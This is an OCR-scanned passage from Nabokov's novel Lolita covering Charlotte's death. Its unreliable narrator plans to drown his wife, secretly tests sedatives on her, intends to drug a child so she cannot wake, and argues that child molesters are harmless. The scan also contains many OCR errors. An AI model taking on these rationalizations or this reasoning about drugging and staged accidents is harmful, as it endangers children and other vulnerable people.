at the end of July when we drove +there daily. I am now obliged to describe in some tedious detail +our last swim together, one tropical Tuesday morning. + +We had left the car in a parting area not far from the road +and were making our way down a path cut through the pine +forest to the lake, when Charlotte remarked that Jean Farlow, +in quest of rare light effects (Jean belonged to the old school +of painting), had seen Leslie taking a dip “in the ebony" (as +John had quipped) at five o’clock in the morning last Sunday. + +“The water,” I said, “must have been quite cold.” + +“That is not the point,” said the logical doomed dear. “He +is subnormal, you see. And,” she continued (in that carefully +phrased way of hers that was beginning to tell on my health), +“I have a very definite feeling our Louise is in love with that +moron.” + +Feeling. “We feel Dolly is not doing as well” etc. (from an +old school report). + +The Humberts walked on, sandaled and robed. + +“Do you know. Hum: I have one most ambitions dream,” +pronounced Lady Hum, lowering her bead — sby of that dream +—and communing with the tawny ground. “I w-ould love to +get hold of a real trained servant maid like that German girl +the Talbots spoke of; and have her live in the house.” + +“No room,” I said. + +“Come,” she said with her quizzical smile, "surely, chdri, +you underestimate the possibilities of the Humbert home. We +wnuld put her in Lo’s room. I intended to make a guestroom +of that hole anyway. It’s the coldest and meanest in the whole +house.” + +“What are you talking about?” I asked, the skin of my +cheekbones tensing up (this I take the trouble to note only + +77 + + + +because my daughter’s skin did the same when she felt that +way: disbelief, disgust, irritation) . + +"Are you bothered by Romantic Associations?” queried my +wife — in allusion to her first surrender. + +"Hell no,” said I. "I just wonder where will you put your +daughter when you get your guest or your maid.” + +"Ah,” said Mrs. Humbert, dreaming, smiling, drawing out +the “Ah” simultaneously with the raise of one eyebrow and a +soft exhalation of breath. "Little Lo, I'm afraid, does not enter +the picture at all, at all. Little Lo goes straight from camp to +a good boarding school with strict discipline and some sound +religious training. And then — Beardsley College. I have it all +mapped out, you need not worry.” + +She went on to say that she, Mrs. Humbert, would have to +overcome her habitual sloth and write to Miss Phalen’s sister +who taught at St. Algebra. The dazzling lake emerged. I said I +had forgotten my sunglasses in the car and would catch up +with her. + +I had always thought that wringing one’s hands was a fio- +fcional gesture — the obscure outcome, perhaps, of some me- +dieval ritual; but as I took to the woods, for a spell of despair +and desperate meditation, this was the gesture ("look. Lord, +at these chains!”) that would have come nearest to the mute +expression of my mood. + +Had Charlotte been Valeria, I would have known how to +handle the situation; and "handle” is the word I want. In the +good old days, by merely twisting fat Valeria’s brittle wrist +(the one she had fallen upon from a bicycle) I could make +her change her mind instantly; but anything of the sort in +regard to Charlotte was unthinkable. Bland American Char- +lotte frightened me. My lighthearted dream of controlling +her through her passion for me was all wrong. I dared not do +anything to spoil the image of me she had set up to adore. I +had toadied to her when she was the awesome duenna of my +darling, and a groveling something still persisted in my atti- +tude toward her. The only ace I held was her ignorance of my +monstrous love for her Lo. She had been annoyed by Los +liking me; but my feelings she could not divine. To Valeria I +might have said: “Look here, you fat fool, c’est moi qai decide +what is good for Dolores Humbert.” To Charlotte, I could not +even say (with ingratiating calm) : "Excuse me, my dear, I dis- +agree. Let us give the child one more chance. Let me be her +private tutor for a year or so. You once told me yourself — ” + +78 + + +In fact, I could not say anything at all to Charlotte about the +child without giving myself away. Oh, you cannot imagine (as +I had never imagined) what these women of principle are! +Charlotte, who did not notice the falsity of all the everyday +conventions and rules of behavior, and foods, and boohs, and +people sbe doted upon, would distinguish at once a false in- +tonation in anything I might say with a view to keeping Lo +near. She was like a musician who may be an odious vulgarian +in ordinary life, devoid of tact and taste; but who will hear a +false note in music with diabolical accuracy of judgment. To +break Charlotte’s will, I would have to break her heart If I +broke her heart, her image of me. would break too. If I said: +"Either I have my way with Lolita, and yon help me to keep +the matter quiet, or we part at once,” she would have tamed as +pale as a woman of clouded glass and slowly replied: "AH +right, whatever you add or retract, this is the end.” And +the end it would he. + +Such, then, was the mess. I remember reaching the parking +area and pumping a handful of rust-tasting water, and drinking +it as avidly as if it could give me magic wisdom, youth, free- +dom, a tiny concubine. For a while, purple-robed, heel-dan- +gling, I sat on the edge of one of the rude tables, under the +wooshing pines. In the middle distance, two little maidens in +shorts and halters came out of a sun-dappled privy marked +"Women." Gum-chewing Mabel (or Mabel’s understudy) +laboriously, absent-mindedly, straddled a bicycle, and Marion, +shaking her hair because of the flies, settled behind, legs wide +apart; and, wobbling, they slowly, absently, merged with the +light and shade. Lolital Father and daughter melting into +these woodsl The natural solution was to destroy Mrs. Hum- +bert. But how? + +No man can bring about the perfect murder; chance, how- +ever, can do it There was the famous dispatch of a Mme +LacouHn Arles, southern France, at the dose of last century. +An unidentified bearded six-footer, who, it was later con- +jectured, had been the lady's secret lover, walked up to her in +a crowded street, soon after her marriage to Colonel Lacour, +and mortally stabbed her in the back, three times, while the +Colonel, a small bulldog of a man, bung onto the murderer’s +arm. By a miraculous and beautiful coincidence, right at the +moment when the operator was in the act of loosening the +angry little husband s jaws (while several onlookers were clos- +ing m upon the group), a crank}’ Italian in the house nearest + +79 + + +to the scene set off by sheer accident some hind of explosive +he was tinkering with, and immediately the street was turned +into a pandemonium of smoke, felling bricks and running +people. The explosion hurt no one (except that it knocked out +game Colonel Lacour); but the lady’s vengeful lover ran +when the others ran — and lived happily ever after. + +Now look what happens when the operator himself plans a +perfect removal. + +I walked down to Hourglass Lake. The spot from which we +and a few other "nice” couples (the Farlows, the Chatfields) +bathed was a kind of small cove; .my Charlotte liked it because +it was almost "a private beach.” The main bathing facilities +(or "drowning facilities” as the Ramsdale Journal had had +occasion to say) were in the left (eastern) part of the hour- +glass, and could not be seen from our covelet. To our right, the +pines soon gave way to a curve of marshland which turned +again into forest on the opposite side. + +I sat down beside my wife so noiselessly that she started. + +"Shall we go in?” she-asked. + +"We shall in a minute. Let me follow a train of thought” + +I thought. More than a minute passed. + +"All right. Come on.” + +‘Was I on that train?” + +"You certainly were.” + +"I hope so,” said Charlotte entering the water. It soon +reached the gooseflesh of her thick thighs; and then, joining +her out-stretched hands, shutting her mouth tight very plain- +faced in her black rubber headgear, Charlotte flung herself +forward with a great splash. + +Slowly we swam out into the shimmer of the lake. + +On the opposite bank, at least a thousand paces away (if one +could walk across water), I could make out the tiny figures of +two men working like beavers on their stretch of shore. I knew +exactly who they were: a retired policeman of Polish descent +and the retired plumber who owned most of the timber on +that side of the lake. And I also knew they were engaged in +building, just for the dismal fun of the thmg, a wharf. The +knocks that reached us seemed so much bigger than what +could be distinguished of those dwarfs’ arms and tools; indeed, +one suspected the director of those acrosonic effects to have +been at odds with the puppet-master, especially since the hefty +crack of each diminutive blow lagged behind its visual version. + +The short white-sand strip of "our” beach — from which by + +80 + + + +now we had gone a little way to teach deep water — -was empty +on weekday mornings. There was nobody around except those +two tiny very busy figures on the opposite side, and a dark-red +private plane that droned overhead, and then disappeared in +the blue. The setting was really perfect for a brisk bubbling +murder, and here was the subtle point: the man of law and the +man of water were just near enough to witness an accident and +just far enough not to observe a crime. They were near enough +to hear a distracted bather thrashing about and bellowing for +somebody to come and help him save his drowning wife; and +they were too far to distinguish {if they happened to look too +soon) that the anything but distracted swimmer was finishing +to tread his wife underfoot I was not yet at that stage; I merely +want to convey the ease of the act, the nicety of the settingl +So there was Charlotte swimming on with dutiful awkwardness +(she was a very mediocre mermaid) , but not without a certain +solemn pleasure (for was not her merman by ber side?); and +as I watched, with the stark lucidity of a future recollection +(you know — trying to see things as you wall remember haring +seen them), the glossy whiteness of her writ face so little +tanned despite all her endeavors, and her pale lips, and her +naked convex forehead, and the tight black cap, and the +plump wet neck, I knew that all I had to do was to drop back, +take a deep breath, then grab her by the ankle and rapidly dive +with my captive corpse. I say corpse because surprise, panic +and inexperience would cause her to inhale at once a lethal +gallon of lake, while I would be able to bold on for at least a +full minute, open-eyed under water. The fatal gesture passed +like the tail of a falling star across the blackness of the con- +templated crime. It was like some dreadful silent ballet, the +male dancer holding the ballerina by her foot and streaking +down through water}- twilight I might come up for a mouthful +of air while still holding her down, and then would dive again +as many times as would be necessary', and only when the cur- +tain came down on her for good, would I permit myself to yell +for help. And when some twenty minutes later the two pup- +pets steadily growing arrived in a rowboat one half newly +painted, poor Mrs. Humbert Humbert, the victim of cramp +or coronary occlusion, or both, would be standing on her head +in the inky ooze, some thirty feet below the smiling surface +of Hourglass Lake. + +Simple, was it not? But what d’ye know, folks — I just could +not make myself do it! + + +SI + + +She swam beside me, a trustful and clumsy seal, and all the +logic of passion screamed in my ear: Now is the time! And, +folks, I just couldn’tl In silence I turned shoreward and grave- +ly, dutifully, she also turned, and still hell screamed its counsel, +and still I could not make myself drown the poor, slippery, +big-bodied creature. The scream grew more and more remote +as I realized the -melancholy fact that neither tomorrow, nor +Friday, nor any other day or night, could I make myself put +her to death. Oh, I could visualize myself slapping Valeria’s +' breasts out of alignment, or otherwise hurting her — and I +could see myself, no less clearly, shooting her lover in the un- +derbelly and making him say “akh!” and sit down. But I could +not kill Charlotte — especially when things were on the whole +not quite as hopeless, perhaps, as they seemed at first wince on +that miserable morning. Were I to catch her by her strong +kicking foot; were I to see her amazed look, hear her awful +voice; were I still to go through with the ordeal, her ghost +would haunt me all my life. Perhaps if the year were 1447 +instead of 1947 I might have hoodwinked my gentle nature by +administering her some classical poison from a hollow agate, +some tender philter of death. But in our middle-class nosy era +it would not have come off the way it used to in the brocaded +palaces of the past. Nowadays you have to be a scientist if you +want to be a killer. No, no, I was neither. Ladies and gentle- +men of the jury, the majority of sex offenders that hanker for +some throbbing, sweet-moaning, physical but not necessarily +coital, relation with a girl-child, are innocuous, inadequate, +passive, timid strangers who merely ask the community to +allow them to pursue their practically harmless, so-called aber- +rant behavior, their little hot wet private acts of sexual devia- +tion without the police and society cracking down upon Them. +We are not sex fiends! We do not rape as good soldiers do. +We are unhappy, mild, dog-eyed gentlemen, sufficiently well +integrated to control our urge in the presence of adults, but +ready to give years and years of life for one chance to touch +a nymphet. Emphatically, no killers are we. Poets never kffi. +Oh, my poor Charlotte, do not hate me in your eternal heaven +among an eternal alchemy of asphalt and rubber and metal and +stone — but thank God, not water, not water I + +Nonetheless it was a very close shave, speaking quite ob- +jectively. And now comes the point of my perfect-crime para- +blei + +Wc sat down on our towels in the thirsty sun. She looked + +82 + + +sraund, loosened ter bra, and tamed over on ter stomach to +give her tack a chance to be feasted upon. She said she loved +me. She sighed deeply. She extended one arm and groped in +the pocket of her robe for her cigarettes. She sat up and +smoked. She examined her right shoulder. She kissed me +heavily with open smoky mouth. Suddenly, down the sand +tank behind ns, from under the bushes and pines, a stone +rolled, then another. + +“Those disgusting prying kids,” said Charlotte, holding up +her big bra to her breast and taming prone again. “I shall haw +to speak about that to Peter Krestovsld.” + +From the debouchment of the trail came a rustle, a footfall, +and Jean Farlow marched down with her easel and things. + +“You scared us,” said Charlotte. + +Jean said she had been up there, in a place of green conceal- +ment, spying on nature (spies are generally shot), trying to +finish a lakescape, but it was no good, she had no talent what- +ever (which was quite true) — “And have you ever tried paint- +ing, Humbert?" Charlotte, who was a little Jealous of Jean, +wanted to know if John was coming. + +He was. He was coming home for lunch today. He had +dropped her on the way to Parkington and should be picking +her up any time now. It was a grand morning. She always felt +a traitor to Cavall and Melampus for I earing them roped on +such gorgeous days. She sat down on the white sand between +Charlotte and me. She wore shorts. Her long brown legs were +about as attractive to me as those of a chestnut mare. She +showed her gums when she smiled. + +“I almost put both of you into my lake,” she said. "I even +noticed something you overlooked. You [addressing Humbert] +had your wrist watch on in, yes, sir, you had.” + +“Waterproof,” said Charlotte softly, making a fish mouth. + +_ Jean took my wrist upon her knee and examined Charlotte’s +gift, then put tack Humbert’s hand on the sand, palm up. + +“You could see anything that way," remarked Charlotte +coquettishly. + +Jean sighed. “I once saw,” she said, “two children, male and +female, at sunset, right here, making love. Their stadows were +giants. And I told you about Mr. Tomson at daybreak. Next +tiinc I expect to see fat old Ivor in the ivory. He is really a +freak, that man. Last time he told me a completely indecent +story about his nephew. It appears — “ + +“Hullo there,” said John’s voice. + +S3 + + + +21 + + +My habit of being silent when displeased, or, more exactly, +the cold and scaly quality of my displeased silence, used to +frighten Valeria out of her wits. She used to whimper and wad, +saying “Ce qui me rend folle, c’est que ;'e ne. sais 4 quoi tu +pen ses quand tu es comme fa.” I tried being silent with Char- +lotte — and she just chirped on, or chucked my silence under +the chin. An astonishing womanl I would retire to my former +room, now a regular “studio,” mumbling I had after all a +learned opus to write, and cheerfully Charlotte went on beau- +tifying the home, warbling on the telephone and writing let- +ters. From my window, through the lacquered shiver of poplar +leaves, I could see her crossing the street and contentedly mafl- +ing her letter to Miss Phalen's sister. + +The week of scattered showers and shadows which elapsed +after our last visit to the motionless sands of Hourglass Lake +was one of the gloomiest I can recall. Then came two or three +dim rays of hope — before the ultimate sunburst + +It occurred to me that I had a fine brain in beautiful work- +ing order and that I might as well use it. If I dared not meddle +with my wife's plans for her daughter (getting wanner and +browner every day in the fair weather of hopeless distance), I +could surely devise some general means to assert myself in a +general way that might be later directed toward a particular +occasion. One evening, Charlotte herself provided me with an +opening. + +“I have a surprise for you,” she said looking at me with fond +eyes over a spoonful of soup. “In the fall we two are going to +England.” + +I swallowed my spoonful, wiped my lips with pink paper +(Oh, the cool rich linens of Mirana Hotel!) and said: + +“I have also a surprise for you, my dear. We two are not go- +ing to England.” + +"Why, what's the matter?” she said, looking — with more +surprise than I had counted upon — at my hands (I was invol- +untarily folding and tearing and crushing and tearing again the +innocent pink napkin). My smiling face set her somewhat at +ease, however. + +“The matter is quite simple,” I replied. “Even in the most + +84 + + +harmonious o £ households, as ours is, not all decisions are +taken by the female partner. There are certain things that the +husband is there to decide. I can well imagine the thnU that +you, a healthy American- gal, must experience at crossing the +Atlantic on the same ocean liner with Lady Bumble — or Sam +Bumble, the Frozen Meat King, or a Hollywood harlot. And +I doubt not that you and I would make a pretty ad for the +Traveling Agency when portrayed looking — you, frankly starry- +eyed, I, controlling my envious admiration — at the Palace +Sentries, or Scarlet Guards, or Beaver Eaters, or whatever +they are called. Bnt I happen to be allergic to Europe, includ- +ing merry old England. As you well know, I have nothing but +very sad associations with the Old and rotting World. No +colored ads in your magazines will change the situation.” + +“My darling,” said Charlotte. "I really — ” + +"No, wait a minute. The present matter is only incidental. +I am concerned with a general trend. When you wanted me to +spend my afternoons sunbathing on the Lake instead of doing +my work, I gladly gave in and became a bronzed glamor hoy for +your sake, instead of remaining a scholar and, well, an edu- +cator. When you lead me to bridge and bourbon with the +charming Farlows, I meekly follow. No, please, wait. When +you decorate your home, I do not interfere with your schemes. +When you decide — when yon decide all kinds of matters, I +may be in complete, or in partial, let us say, disagreement — +but I say nothing. I ignore the particular. I cannot ignore the +general. I love being bossed by yon, but every game has its +rules. I am not cross. I am not cross at all. Don’t do that. But +I am one half of this household, and have a small bat distinct +voice.” + +She had come to my side and had fallen on her knees and +was slowly, but very vehemently, shaking her head and clawing +at my trousers. She said she had never realized. She said I was +her ruler and her god. She said Louise had gone, and let us +make love rightaway. She said I must forgive her or she would +die. + +This little incident filled me with considerable elation. I told +her quietly that it was a matter not of asking forgiveness, but +of chancing one’s ways; and I resolved to press my advantage +and spend a good deal of time, aloof and moody/ working at +my book — or 3t least pretending to work. + +The "studio bed” in my former room had long been con- +verter! into the sofa it had always been at heart, and Charlotte + +85 + + + +had warned me since the very beginning of our cohabitation +that gradually the room would be turned into a regular “writ- +e . r ' s . A couple of days after the British Incident, I was +sitting in a new and very comfortable easy chair, with a large +volume in my lap, when Charlotte rapped with her ring finger +and sauntered in. How different were her movements from +those of my Lolita, when she used to visit me in her dear dirty +blue jeans, smelling of orchards in nymphetland; awkward and +fey, and dimly depraved, the lower buttons of her shirt un- +fastened. Let me tell you, however, something. Behind the +brashness of little Haze, and the poise of big Haze, a trickle +of shy life ran that tasted the same, that murmured the same. +A great French doctor once told my father that in near rela- +tives the faintest gastric gurgle has the same “voice.” + +So Charlotte sauntered in. She felt all was not well between +us. I had pretended to fall asleep the night before, and the +night before that, as soon as we had gone to bed, and had risen +at dawn. + +Tenderly, she inquired if she were not “interrupting.” + +“Not at the moment,” I said, turning volume C of the Girls' +Encyclopedia around to examine a picture printed “bottom- +edge” as printers say. + +Charlotte went up to a little table of imitation mahogany +with a drawer. She put her hand upon it. The little table was +ugly, no doubt, but it had done nothing to her. + +“I have always wanted to ask you,” she said (businesslike, +not coquettish), “why is this thing locked up? Do you want it +in this room? It’s so abominably uncouth.” + +“Leave it alone,” I said. I was Camping in Scandinavia. + +“Is there a key?” + +“Hidden.” + +“Oh, Hum ...” + +“Locked up love letters.” + +She gave me one of those wounded-doe looks that hntated +me so much, and then, not quite knowing if I was serious, or +how to keep up the conversation, stood for several slow pages +(Campus,' Canada, Candid Camera, Candy) peering at the +windowpane rather than through it, drumming upon it with +sharp almond-and-rose fingernails. + +Presently (at Canoeing or Canvasback) she strolled up to +my chair and sank down, tweedily, weightily, on its arm, in- +undating me with the perfume my first wife had used. 'Would +his lordship like to spend the fall here?” she asked, pointing + +86 + + + +■prith her little finger at an autumn view in a conservative East- +ern State. “Why?” (very distinctly and slowly). She shrugged. +(Probably Harold used to take a vacation at that time. Open +season. Conditional reflex on her part) + +“l think I know where that is,” she said, still pointing. +“There is a hotel I remember, Enchanted Hunters, quaint, +isn’t it? And the food is a dream. And nobody bothers any- +body." + +She rubbed her check against my temple. Valeria soon got +over that + +“Is there anything special you would like for dinner, dear? +John and Jean will drop in later." + +I answered with a grunt She kissed me on my underlip, and, +brightly saying she would bake a cake (a tradition subsisted +from my lodging days that 1 adored her cakes) , left me to my +idleness. , + +Carefully putting down the open hook where she bad sat +(it attempted to send forth a rotation of waves, but an inserted +pencil stopped the pages), I checked the hiding place of the +key: rather self-consciously it lay under the old expensive safety +razor I had used before she bought me a much better and +cheaper one. Was it the perfect hiding place — there, under +that razor, in the groove of its velvet-lined case? The case lay in +a small trunk where I kept various business papers. Could I +improve upon this? Remarkable how difficult it is to conceal +things — especially when one’s wife keeps monkeying with the +furniture. + + +22 + + +I think, it was exactly a week after our last swim that the +noon mail brought a reply from the second Miss Phalen. The +lady wrote she had just returned to St Algebra from her sister’s +funeral. “Euphemia had never been the same after breaking +that hip.” As to the matter of Mrs. Humbert’s daughter, she +wished to report that it was too late to enroll her this year; +but that she, the surviving Phalen, was practically certain that +if Mr. and Mrs. Humbert brought Dolores over in January, her +admittance might be arranged. + +Next day, after lunch, I went to see “our” doctor, a friendly +fellow whose perfect bedside manner and complete reliance + +87 1 + + + +°n a few patented drugs adequately masked his ignorance of, +and indifference to, medical science. The fact that Lo would +have to come back to Ramsdale was a treasure of anticipation. +For this event I wanted to be fully prepared. I had in fact be- +gun my campaign earlier, before Charlotte made that cruel +decision of hers. I had to be sure when my lovely child arrived, +that very night, and then night after night, until St. Algebra +took her away from me, I would possess the means of putting +two creatures to sleep so thoroughly that neither sound nor +touch should rouse them. Throughout most of July I had been +experimenting with various sleeping powders, trying them out +on Charlotte, a great taker of pills. The last dose I had given +her (she thought it was a tablet of mild bromides — to anoint +her nerves) had knocked her out for four solid hours. I had +put the radio at full blast. I had blazed in her face an olisbos- +like flashlight. I had pushed her, pinched her, prodded her — +and nothing had disturbed the rhythm of her calm and power- +ful breathing. However, when I had done such a simple thing +as kiss her, she had awakened at once, as fresh and strong as an +octopus (I barely escaped) . This would not do, I thought; had +to get something still safer. At first. Dr. Byron did not seem to +believe me when I said his last prescription was no match for +my insomnia. He suggested I try again, and for a moment +diverted my attention by showing me photographs of his +family. He had a fascinating child of Dolly’s age; but I saw +through his tricks and insisted he prescribe the mightiest pill +extant. He suggested I play golf, hut finally agreed to give me +something, that, he said, “would really work”; and going to a +cabinet, he produced a vial of violet-blue capsules banded with +dark purple at one end, wbicb, be said, bad just been placed +-on the market and were intended not for neurotics whom a +draft of water could calm if properly administered, but only +for great sleepless artists who had to die for a few hours in +order to live for centuries. I love to fool doctors, and though +inwardly rejoicing, pocketed the pills with a skeptical shrug. +Incidentally, I had had to be careful with him. Once, in an- +other connection, a stupid lapse on my part made me mention +my last sanatorium, and I thought I saw the tips of his ears +twitch. Being not at all keen for Charlotte or anybody else +to know that period of my "past, I had hastily explained that I +had once done some research among the insane for a novel. +But no matter; the old rogue certainly had a sweet girleen. + +I left in great spirits. Steering my wife’s car with one finger, + +88 + + +I contentedly rolled homeward. Ramsdale had, after all,' lots +of charm. The cicadas whirred; the avenue had been freshly +watered. Smoothly, almost silkSy, I turned down into our +steep little street Everything was somehow so right that day. + +So blue and green. I knew the sun shone because my ignition +key was reflected in the windshield; and I knew it was exactly +half past , three because the nurse who came to massage Miss +Opposite every afternoon was tripping down the narrow side- +walk in her white stockings and shoes. As usual, Junk's hys- +terical setter attacked me.as I rolled downhill, and as usual, the +local paper was lying on the porch where it had just been +hurled by Kenny. + +The day before I had ended the regime of aloofness I had +imposed upon myself, and now uttered a cheerful homecoming ' +call as I opened the door of the living room. With her cream- +white nape and bronze bun to me, wearing the yellow blouse +and maroon slacks she had on when I first met her, Charlotte - +sat at the comer bureau writing a letter. My hand still on the +doorknob, I repeated my hearty cry. Her writing hand stopped. + +She sat stall for a moment; then she slowly turned in her chair +and rested her elbow on its cnrved back. Her face, disfigured +by her emotion, was not a pretty sight as she stared at my legs +and said: + +“The Haze woman, the big bitch, the old cat, the obnoxious +mamma, the — the old stupid Haze is no longer yonr dupe. She +has — she has ...” + +My fair accuser stopped, swallowing her venom and her +tears. Whatever Humbert Humbert said — or attempted to say +• — is inessential. She went on: + +“You’re a monster. You’re a detestable, abominable, crim- +inal fraud. If you come near — I’ll scream out the window. Get +backl” + +Again, whatever H.H. murmured may he omitted, I think. + +“I am leasing tonight This is all yours. Only you’ll never, +never see that miserable brat again. Get out of this room.” + +Reader, I did. I went up to the ex-semi-studio. Arms akim- +bo, I stood for a moment quite still and self-composed, sur- +veying from the threshold the raped little table with its open +drawer, a key hanging from the lock, four other household keys +on the tabic top, I walked across the landing into the Hum- +berts’ bedroom, and calmly removed my diary from under her +pillow into my pocket. Then I started to walk downstairs, but ( +( stopped halfway; she was talking on the telephone which hap- j + +89 j + + + + +pened to be plugged just outside the door of' the living room. +I wanted to hear what she was saying: she canceled an order +for something or other, and returned to the parlor. I rearranged +my respiration and went through the hallway to the kitchen. +. There, I opened a bottle of Scotch. She could never resist +Scotch. Then I walked into the dining room and from there, +through the half-open door, contemplated Charlotte’s broad +back. + +“You are ruining my life and yours,” I said quietly. "Let us +be civilized people. It is all your hallucination. You are crazy, +Charlotte. The notes you found were fragments of a novel. +Your name and hers were put in by mere chance. Just because +they came bandy. Think it over. I shall bring you a drink.” + +She neither answered nor turned, but went on writing in a +scorching scrawl whatever she was writing. A third letter, pre- +sumably (two in stamped envelopes were already laid out on +the desk). I went back to the kitchen. + +I set out two glasses (to St Algebra? to Lo?) and opened +the refrigerator. It roared at me viciously while I removed the +ice from its heart. Rewrite. Let her read it again. She will not +recall details. Change, forge. Write a fragment and show it to +her or leave it lying around. Why do faucets sometimes whine +so horribly? A horrible situation, really. The little pillow- +shaped blocks of ice — pillows for polar teddy bear, Lo — +emitted rasping, crackling, tortured sounds as the warm water +loosened them in their cells. I bumped down the glasses side +by side. I poured in the whiskey and a dram of soda. She had +tabooed my pin. Bark and hang went the icebox. Carrying the +glasses, I walked through the dining room and spoke through +the parlor door which was a fraction ajar, not quite space +enough for my elbow. + +"I have made you a drink,” I said. + +She did not answer, the mad bitch, and I placed the glasses +on the sideboard near the telephone, which had started to ring. + +"Leslie speaking. Leslie Tomson,” said Leslie Tomson who +favored a dip at dawn. "Mrs. Humbert, sir, has been run over +and you’d better come quick.” + +I answered, perhaps a bit testily, that my wife was safe and +sound, and still holding the receiver, I pushed open the door +and said: - + +"There’s this man saying you’ve been Jailed, Charlotte. + +But there was no Charlotte in the living room. + + +90 + + +23 + + +I rushed OUT. The far side of out steep little street presented a £ + +pec uli ar sight. A big black glossy Packard bad climbed Miss | + +Opposite’s sloping lawn at an angle from the sidewalk (where 1: + +a tartan laprobe had dropped in a heap), and stood there, p + +shining in the sun, its doors open like, wings, its front wheels r + +deep in evergreen shrubbery. To the anatomical right of this | + +car, on the trim turf of the lawn-slope, an old gentleman with f + +a white mustache, well-dressed — doublebreasted gray suit, j- + +polka-dotted bow-tie — lay supine, his long legs together, like a ; + +death-size wax figure. I have to put the impact of an instanta- . :■ + +neous vision into a sequence of words; their physical accumula- +tion in the page impairs the actual flash, the sharp unity of ■> +impression: Rug-heap, car, old man-doll. Miss O.'s nurse run- +ning with a rustle, a half-empty tumbler in her hand, back to i +the screened porch — where the propped-up, imprisoned, ■; +decrepit lady herself may be imagined screeching, but not loud ; +enough to drown the rhythmical yaps of the Junk setter walk-, +ing from group to group — from a bunch of neighbors already +collected on the sidewalk, near the bit of checked stuff, and +back to the car which he had finally run to earth, and then to +another group on the lawn, consisting of Leslie, two police- +men and a sturdy man with tortoise shell glasses. At this point, + +I should explain that the prompt appearance of the patrolmen, +hardly more than a minute after the accident, was due to their +having been ticketing the illegally parked cars in a cross lane +two blocks down the grade; that the fellow' with the glasses was +Frederick Beale, Jr., driver of the Packard; that his 79-year-old +father, whom the nurse had just watered on the green bank +where he lay — a banked banker so to speak — was not in a dead +feint, but was comfortably and methodically recovering from a +mild heart attack or its possibility; and finally, that the laprobe +on the sidewalk (where she had so often pointed out to me +with disapproval the crooked green cracks) concealed the man- j +glcd remains of Charlotte Humbert who had been knocked +down and dragged several feet by the Beale car as she was +hurrying across the street to drop three letters in the mailbox, 1 +at the comer of Miss Opposite’s lawn. These were picked up +and handed to me by a pretty child in a dirty pink frock, and t + + +I got rid of them by clawing them to fragments in my trouser +pocket + +Three doctors and the Farlows presently arrived on the +scene and took over. The widower, a man of exceptional self- +control, neither wept nor raved. He staggered a bit, that he +did; but he opened his mouth only to impart such information +or issue such directions as were strictly necessaiy in connection +with the identification, examination and disposal of a dead +woman, the top of her head a porridge of bone, brains, bronze +hair and blood. The sun was still a blinding red when he was +put to bed in Dolly's room by his two friends, gentle John +and dewy-eyed Jean; who, to be near, retired to the Hum- +berts’ bedroom for the night; which, for all I know, they may +not have spent as innocently as the solemnity of the occasion +required. + +I have no reason to dwell, in this very special memoir, on +the pre-funeral formalities that had to be attended to, or on +the funeral itself, which was as quiet as the marriage had been. +But a few incidents pertaining to those four or five days after +Charlotte’s simple death, have to he noted. + +My first night of widowhood I was so drunk that I slept as +soundly as the child who had slept in that bed. Next morning +I hastened to inspect the fragments of letters in my pocket +They had got too thoroughly mixed up to be sorted into three +complete sets. I assumed that . . and you had better find it +because I cannot buy . . came from a letter to Lo; and +other fragments seemed to point to Charlotte’s intention of +fleeing with Lo to Parkington, or even back to Pisky, lest the +vulture snatch her precious lamb. Other tatters and shreds +(never had I thought I had such strong talons) obviously +referred to an application not to St. A. hut to another boarding +school which was said to be so harsh and gray and gaunt in its +methods (although supplying croquet under the elms) as to +have earned the nickname of “Reformatory for Young Ladies.” +Finally, the third epistle was obviously addressed to me. I +made out such items as . . after a year of separation we +may . . .” “. . . oh, my dearest, oh my . ^ . . worse + +than if it had been a woman you kept . . “• . . or, maybe, + +I shall die . . But on the whole my gleanings made little +sense; the various fragments of those three hasty missives were +as jumbled in the palms of my hands as their elements had +been in poor Charlotte's head. + +That day John had to see a customer, and Jean had to feed +her dogs, and so I was to be deprived temporarily of my friends’ + +92 + + + +company. The dear people were afraid I might commit suicide +if left alone, and since no other friends were available (Miss +Opposite was incommunicado, the McCoos were busy build- +ing a new house miles away, and the Cbatfields had been +recently called to Maine by some family trouble of their own) , +Leslie and Louise were commissioned to beep me company +under the pretense of helping me to sort out and pack a mul- +titude of orphaned things. In a moment of superb inspiration +I showed the kind and credulous Fariows (we were waiting for +Leslie to come for his paid tryst with Louise) a little photo- +graph of Charlotte I had found among her affairs. From a +boulder she smiled through blown hair. It had been taken in +April 1934, a memorable spring. While on a business visit to +the States, I had had occasion to spend several months in +Pisky. We met — and had a mad love affair. I was married, +alas, and she was engaged to Haze, but after I returned to +Europe, we corresponded through a friend, now dead. Jean +whispered she had heard some rumors and looked at the snap- +shot, and, still looking, handed it to John, and John removed +his pipe and looked at lovely and fast Charlotte Becker, and +handed it back to me. Then they left for a few hours. Happy +Louise was gurgling and scolding her swain in the basement. + +Hardly had the Fariows gone than a blue-chinned cleric +called — and I tried to make the interview as brief as was con- +sistent with neither hurting his feelings nor arousing his +doubts. Yes, I would devote all my life to the child’s welfare. +Here, incidentally, was a little cross that Charlotte Becker +had given me when we were both young. I had a female +cousin, a respectable spinster in New York. There we would +find a good private school for Dolly. Oh, what a crafty Hum- +bert! + +For the benefft of Leslie and Louise who might (and did) +report it to John and Jean I made a tremendously loud and +beautifully enacted long-distance call and simulated a conver- +sation with Shirley Holmes. When John and Jean returned, +I completely took them in by telling them, in a deliberately +wild and confused mutter, that Lo had gone with the inter- +mediate group on a five-day hike and could not he reached. + +"Good Lord.” said Jean, "what shall we do?” + +John said it was perfectly simple— -he would get the Climax +police to find the hikers — it would not take them an hour. In +fact, he knew the country and — + +"Look.” he continued, "whv don’ I drive there richt now +anu you may sleep with Jean’’— (he did not reallv add that + +93 + + +but Jean supported bis offer so passionately that it might he +implied). ' + +I broke down. I pleaded with John to let things remain the +way they were. I said I could not bear to have the child all +around me, sobbing, clinging to me, she was so high-strung, +the experience might react on her future, psychiatrists have +analyzed such cases. There was a sudden pause. + +"Well, you are the doctor,” said John a little bluntly. "But +after all I was Charlotte’s friend and adviser. One would like +to know what you are going to do about the child anyway.” + +"John,” cried Jean, "she is his child, not Harold Haze’s. +Don’t you understand? Humbert is Dolly's real father.” + +“I see,” said John. “I am sorry. Yes, I see. I did not realize +that. It simplifies matters, of course. And whatever you feel is +right." + +The distraught father went on to say he would go and fetch +his delicate daughter immediately after the funeral, and would +do his best to give her a good time in totally different sur- +roundings, perhaps a trip to New ’Mexico or California — +granted, of course, he lived. + +So artistically did I impersonate the calm of ultimate de- +spair, the hush before some crazy outburst, that the perfect +Farlows removed me to their house. They had a good cellar, +ns cellars go in this country; 